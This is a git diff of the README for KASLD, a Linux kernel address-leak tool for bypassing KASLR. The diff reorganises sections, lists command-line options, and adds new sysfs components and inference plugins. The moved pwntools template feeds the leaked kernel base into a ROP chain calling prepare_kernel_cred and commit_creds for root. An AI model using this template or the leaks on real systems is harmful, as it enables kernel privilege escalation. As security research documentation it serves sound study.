@@ -26,10 +26,11 @@ Supports:
2626## Table of Contents
2727
2828* [ Usage] ( #usage )
29+ * [ Command-line options] ( #command-line-options )
2930 * [ Example Output] ( #example-output )
30- * [ pwntools Template] ( #pwntools-template )
3131 * [ Explain mode] ( #explain-mode )
3232 * [ Hardening assessment] ( #hardening-assessment )
33+ * [ pwntools Template] ( #pwntools-template )
3334* [ Building] ( #building )
3435* [ Configuration] ( #configuration )
3536* [ Architecture and Design] ( #architecture-and-design )
@@ -76,21 +77,29 @@ Supports:
7677
7778## Usage
7879
80+ Each component in the ` src/ ` directory is a standalone leak component using
81+ a different technique to retrieve or infer kernel addresses. The ` kasld `
82+ orchestrator discovers and executes all components, displays results in
83+ real-time, and produces a section-aware summary with validated addresses
84+ grouped by kernel section (text, modules, direct map, etc).
85+
86+ Fetch and build:
87+
7988```
8089sudo apt install libc-dev make gcc binutils git
8190git clone https://github.com/bcoles/kasld
8291cd kasld
83- make run
92+ make
8493```
8594
86- Each component in the ` src/ ` directory is a standalone leak component using
87- a different technique to retrieve or infer kernel addresses. The ` kasld `
88- orchestrator discovers and executes all components, displays results in
89- real-time, and produces a section-aware summary with validated addresses
90- grouped by kernel section (text, modules, direct map, etc).
95+ Run:
96+
97+ ```
98+ ./build/<arch>/kasld
99+ ```
91100
92- After building, the ` build/<arch>/ ` directory is self-contained and can be
93- deployed to a target system:
101+ The ` build/<arch>/ ` directory is self-contained and can be deployed to a
102+ target system:
94103
95104```
96105build/<arch>/
@@ -105,6 +114,27 @@ are expected to return limited results. For testing purposes, the
105114can temporarily relax these settings (requires root).
106115
107116
117+ ### Command-line options
118+
119+ ```
120+ -j, --json Machine-readable JSON output
121+ -1, --oneline Single-line summary output
122+ -m, --markdown Markdown table output
123+ -c, --color Colorize text output (auto-detected for TTYs)
124+ -q, --quiet Suppress banner, progress, and warnings
125+ -v, --verbose Show component output
126+ -e, --explain Show technique explanations before each component
127+ -f, --fast Use 2s per-component timeout (fast scan mode)
128+ -w, --workers N Parallel inference workers (default: nproc; 0 = sequential)
129+ -x, --experimental Enable experimental components
130+ -s, --skip PATTERN Skip matching components (glob, comma-separated; multiple --skip flags accumulate)
131+ -H, --hardening Show post-run hardening assessment
132+ -t, --timeout N Per-component timeout in seconds (default: 30)
133+ -V, --version Print version and exit
134+ -h, --help Show this help
135+ ```
136+
137+
108138### Example Output
109139
110140The following is example output from a default Debian 13 (x86-64) system:
@@ -201,57 +231,6 @@ Physical memory layout:
201231
202232</details >
203233
204- ### pwntools Template
205-
206- The ` --json ` (` -j ` ) flag emits machine-readable output. The
207- ` kaslr.virtual.text_base ` field contains the leaked kernel text base as
208- a hex string, and ` kaslr.virtual.slide_bytes ` contains the KASLR slide
209- as an integer. Both can be consumed directly by pwntools to resolve
210- runtime symbol addresses and build a ROP chain.
211-
212- ``` python
213- # !/usr/bin/env python3
214- import json, subprocess, sys
215- from pwn import *
216-
217- # Leak kernel base with KASLD
218- result = subprocess.run(
219- [
220- " ./build/x86_64-linux-gnu/kasld" ,
221- " --json" ,
222- " --fast" ,
223- " --quiet"
224- ],
225- capture_output = True ,
226- text = True
227- )
228- data = json.loads(result.stdout)
229- context.arch = {" x86_64" : " amd64" }.get(data[" arch" ], data[" arch" ])
230- kaslr = data[" kaslr" ].get(" virtual" )
231- if not kaslr:
232- log.failure(" kasld did not find the kernel text base" )
233- sys.exit(1 )
234- text_base = int (kaslr[" text_base" ], 16 )
235- slide = int (kaslr[" slide_bytes" ])
236- log.success(f " kernel text base: { hex (text_base)} (slide + { hex (slide)} ) " )
237-
238- # Resolve runtime addresses via vmlinux symbol table
239- vmlinux = ELF(" vmlinux" , checksec = False )
240- vmlinux.address = text_base
241- commit_creds = vmlinux.symbols[" commit_creds" ]
242- prepare_kernel_cred = vmlinux.symbols[" prepare_kernel_cred" ]
243- log.info(f " commit_creds: { hex (commit_creds)} " )
244- log.info(f " prepare_kernel_cred: { hex (prepare_kernel_cred)} " )
245-
246- # Build ROP chain
247- rop = ROP(vmlinux)
248- rop.call(prepare_kernel_cred, [0 ])
249- # move rax -> rdi here with a target-specific gadget
250- # rop.raw(rop.find_gadget(["mov rdi, rax", "ret"]).address)
251- rop.call(commit_creds)
252- payload = flat(rop.chain())
253- ```
254-
255234### Explain mode
256235
257236The ` --explain ` (` -e ` ) flag prints a brief technique explanation before
@@ -308,6 +287,56 @@ where it appears in a top-level `"hardening"` object with fields
308287` active_defenses ` , ` suggestions ` , ` patched_vulns ` , ` unpatched_vulns ` ,
309288` config_surface ` , and ` no_mitigation ` .
310289
290+ ### pwntools Template
291+
292+ The ` --json ` (` -j ` ) flag emits machine-readable output. The
293+ ` kaslr.virtual.text_base ` field contains the leaked kernel text base as
294+ a hex string, and ` kaslr.virtual.slide_bytes ` contains the KASLR slide
295+ as an integer. Both can be consumed directly by pwntools to resolve
296+ runtime symbol addresses and build a ROP chain.
297+
298+ ``` python
299+ # !/usr/bin/env python3
300+ import json, subprocess, sys
301+ from pwn import *
302+
303+ # Leak kernel base with KASLD
304+ result = subprocess.run(
305+ [
306+ " ./build/x86_64-linux-gnu/kasld" ,
307+ " --json" ,
308+ " --fast" ,
309+ " --quiet"
310+ ],
311+ capture_output = True ,
312+ text = True
313+ )
314+ data = json.loads(result.stdout)
315+ context.arch = {" x86_64" : " amd64" }.get(data[" arch" ], data[" arch" ])
316+ kaslr = data[" kaslr" ].get(" virtual" )
317+ if not kaslr:
318+ log.failure(" kasld did not find the kernel text base" )
319+ sys.exit(1 )
320+ text_base = int (kaslr[" text_base" ], 16 )
321+ slide = int (kaslr[" slide_bytes" ])
322+ log.success(f " kernel text base: { hex (text_base)} (slide + { hex (slide)} ) " )
323+
324+ # Resolve runtime addresses via vmlinux symbol table
325+ vmlinux = ELF(" vmlinux" , checksec = False )
326+ vmlinux.address = text_base
327+ commit_creds = vmlinux.symbols[" commit_creds" ]
328+ prepare_kernel_cred = vmlinux.symbols[" prepare_kernel_cred" ]
329+ log.info(f " commit_creds: { hex (commit_creds)} " )
330+ log.info(f " prepare_kernel_cred: { hex (prepare_kernel_cred)} " )
331+
332+ # Build ROP chain
333+ rop = ROP(vmlinux)
334+ rop.call(prepare_kernel_cred, [0 ])
335+ # move rax -> rdi here with a target-specific gadget
336+ # rop.raw(rop.find_gadget(["mov rdi, rax", "ret"]).address)
337+ rop.call(commit_creds)
338+ payload = flat(rop.chain())
339+ ```
311340
312341## Building
313342
@@ -325,26 +354,6 @@ make clean # remove build directory
325354make help # show all targets and options
326355```
327356
328- Command-line options:
329-
330- ```
331- -j, --json Machine-readable JSON output
332- -1, --oneline Single-line summary output
333- -m, --markdown Markdown table output
334- -c, --color Colorize text output (auto-detected for TTYs)
335- -q, --quiet Suppress banner, progress, and warnings
336- -v, --verbose Show component output
337- -e, --explain Show technique explanations before each component
338- -f, --fast Use 2s per-component timeout (fast scan mode)
339- -w, --workers N Parallel inference workers (default: nproc; 0 = sequential)
340- -x, --experimental Enable experimental components
341- -s, --skip PATTERN Skip matching components (glob, comma-separated; multiple --skip flags accumulate)
342- -H, --hardening Show post-run hardening assessment
343- -t, --timeout N Per-component timeout in seconds (default: 30)
344- -V, --version Print version and exit
345- -h, --help Show this help
346- ```
347-
348357KASLD can be cross-compiled with ` make ` by specifying the appropriate
349358compiler (` CC ` ). Static linking is applied automatically when cross-compiling:
350359
@@ -453,9 +462,9 @@ are equivalent. The number of skipped components is noted in the
453462
454463At phase boundaries the orchestrator runs a set of inference plugins compiled
455464directly into the orchestrator binary. Plugins read collected results and
456- tighten the constraint bounds used during validation — they may only raise
457- ` text_base_min ` , lower ` text_base_max ` , or narrow ` page_offset_min/max ` .
458- This commutativity invariant means plugin order within a phase is irrelevant.
465+ tighten the memory section constraint bounds used during validation. The
466+ commutativity invariant — plugins may only tighten bounds, never widen them —
467+ means plugin order within a phase is irrelevant.
459468
460469Inference plugins run in four phases:
461470
@@ -496,14 +505,16 @@ Currently implemented:
496505| ` min_offset_from_image_size ` | POST_COLLECTION | Forbidden lower slots from kernel image size (MIPS/LoongArch) |
497506| ` module_text_bound ` | POST_COLLECTION | Module region → text bounds |
498507| ` phys_virt_synth ` | POST_COLLECTION | Narrows ` page_offset_min/max ` by synthesising ` PAGE_OFFSET = virt − phys + PHYS_OFFSET ` from per-component (PHYS/DRAM, VIRT/DIRECTMAP) pairs |
499- | ` randomize_memory_page_offset ` | POST_COLLECTION | Cross- origin min-DIRECTMAP / min-PHYS → ` page_offset_base ` (x86-64) |
508+ | ` randomize_memory_page_offset ` | POST_COLLECTION | Pins ` page_offset_base ` on x86-64 with CONFIG_RANDOMIZE_MEMORY. Path 1: same-( origin, region, name) PHYS + VIRT/DIRECTMAP pairing. Path 2: cross-origin min-DIRECTMAP / min-PHYS-RAM_BASE fallback. Both paths enforce 1-GiB PUD alignment |
500509| ` riscv64_fdt_kaslr_seed ` | POST_COLLECTION | riscv64 FDT ` kaslr-seed ` → exact ` text_base ` |
501510| ` riscv64_non_efi_phys_base ` | POST_COLLECTION | Exact physical base on non-EFI riscv64 |
502511| ` text_cluster_filter ` | POST_COLLECTION | TEXT-result cluster outlier rejection |
503512| ` va_bits_from_results ` | POST_COLLECTION | VA_BITS detection from directmap addresses (arm64) |
504513| ` x86_32_vmsplit_ceiling ` | POST_COLLECTION | x86-32 vmsplit ceiling |
505514| ` x86_64_coupling_validate ` | POST_COLLECTION | x86-64 directmap/text region coupling validation |
506515| ` x86_64_la57_from_directmap ` | POST_COLLECTION | x86-64 L4/L5 paging detection from directmap addresses |
516+ | ` x86_64_vmalloc_base_bound ` | POST_COLLECTION | x86-64 CONFIG_RANDOMIZE_MEMORY: ` page_offset_base + directmap_size_tb * 1 TiB + PUD_SIZE ` → ` vmalloc_base ` lower bound (chained from ` /proc/zoneinfo ` ` max_pfn ` ) |
517+ | ` x86_64_vmemmap_base_bound ` | POST_COLLECTION | x86-64 CONFIG_RANDOMIZE_MEMORY: ` vmalloc_base + VMALLOC_SIZE_TB * 1 TiB + PUD_SIZE ` → ` vmemmap_base ` lower bound; ` CPU_ENTRY_AREA_BASE − vmemmap_size ` → upper bound |
507518| ` x86_firmware_memmap_holes ` | POST_COLLECTION | x86 ` /sys/firmware/memmap ` System RAM hole validation |
508519
509520Inference plugins live in ` src/inference/ ` and register via a linker section
@@ -1287,17 +1298,22 @@ The following KASLD components read from `/proc`:
12871298The following KASLD components read from ` /sys ` :
12881299
12891300* [ acpi_mrrm.c] ( src/components/acpi_mrrm.c ) — physical memory range base addresses from the Intel ACPI MRRM table via ` /sys/firmware/acpi/memory_ranges/ `
1301+ * [ boot_params_e820.c] ( src/components/boot_params_e820.c ) — x86 E820 physical memory map and initrd physical address from ` /sys/kernel/boot_params/data `
12901302* [ sysfs_cbmem_address.c] ( src/components/sysfs_cbmem_address.c ) — coreboot CBMEM physical memory addresses from ` /sys/bus/coreboot/devices/ `
12911303* [ sysfs_cxl_region.c] ( src/components/sysfs_cxl_region.c ) — CXL memory region host physical addresses from ` /sys/bus/cxl/devices/ `
1304+ * [ sysfs_devicetree_elfcorehdr.c] ( src/components/sysfs_devicetree_elfcorehdr.c ) — kdump crash kernel ELF core header physical address from ` /sys/firmware/devicetree/base/chosen/ `
12921305* [ sysfs_devicetree_initrd.c] ( src/components/sysfs_devicetree_initrd.c ) — initrd address from ` /sys/firmware/devicetree/ `
12931306* [ sysfs_devicetree_memory.c] ( src/components/sysfs_devicetree_memory.c ) — memory regions from ` /sys/firmware/devicetree/ `
12941307* [ sysfs_devicetree_reserved_memory.c] ( src/components/sysfs_devicetree_reserved_memory.c ) — reserved DRAM region addresses from ` /sys/firmware/devicetree/base/reserved-memory/ `
1308+ * [ sysfs_devicetree_uefi_mmap.c] ( src/components/sysfs_devicetree_uefi_mmap.c ) — EFI memory map buffer physical address from ` /sys/firmware/devicetree/base/chosen/linux,uefi-mmap-* ` (UEFI-booted device tree platforms)
12951309* [ sysfs_efi_runtime_map.c] ( src/components/sysfs_efi_runtime_map.c ) — EFI runtime map virtual and physical addresses from ` /sys/firmware/efi/runtime-map/ `
12961310* [ sysfs_firmware_memmap.c] ( src/components/sysfs_firmware_memmap.c ) — firmware memory map from ` /sys/firmware/memmap/ `
1311+ * [ sysfs_iommu_reserved_regions.c] ( src/components/sysfs_iommu_reserved_regions.c ) — physical DRAM addresses of IOMMU reserved regions from ` /sys/kernel/iommu_groups/*/reserved_regions `
12971312* [ sysfs_iscsi_transport_handle.c] ( src/components/sysfs_iscsi_transport_handle.c ) — iSCSI transport handle from ` /sys/class/iscsi_transport/ `
12981313* [ sysfs-kernel-notes-xen.c] ( src/components/sysfs-kernel-notes-xen.c ) — Xen notes from ` /sys/kernel/notes `
12991314* [ sysfs_memory_blocks.c] ( src/components/sysfs_memory_blocks.c ) — memory block addresses from ` /sys/devices/system/memory/ `
13001315* [ sysfs-module-sections.c] ( src/components/sysfs-module-sections.c ) — module section addresses from ` /sys/module/*/sections/ `
1316+ * [ sysfs_nd_region.c] ( src/components/sysfs_nd_region.c ) — NVDIMM/PMem region physical start addresses from ` /sys/bus/nd/devices/region*/ `
13011317* [ sysfs_nf_conntrack.c] ( src/components/sysfs_nf_conntrack.c ) — netfilter conntrack hash from ` /sys/module/nf_conntrack/ `
13021318* [ sysfs_pci_resource.c] ( src/components/sysfs_pci_resource.c ) — PCI BAR addresses from ` /sys/bus/pci/devices/ `
13031319* [ sysfs_qcom_rmtfs_mem.c] ( src/components/sysfs_qcom_rmtfs_mem.c ) — Qualcomm RMTFS reserved physical memory addresses from ` /sys/class/rmtfs/ `
0 commit comments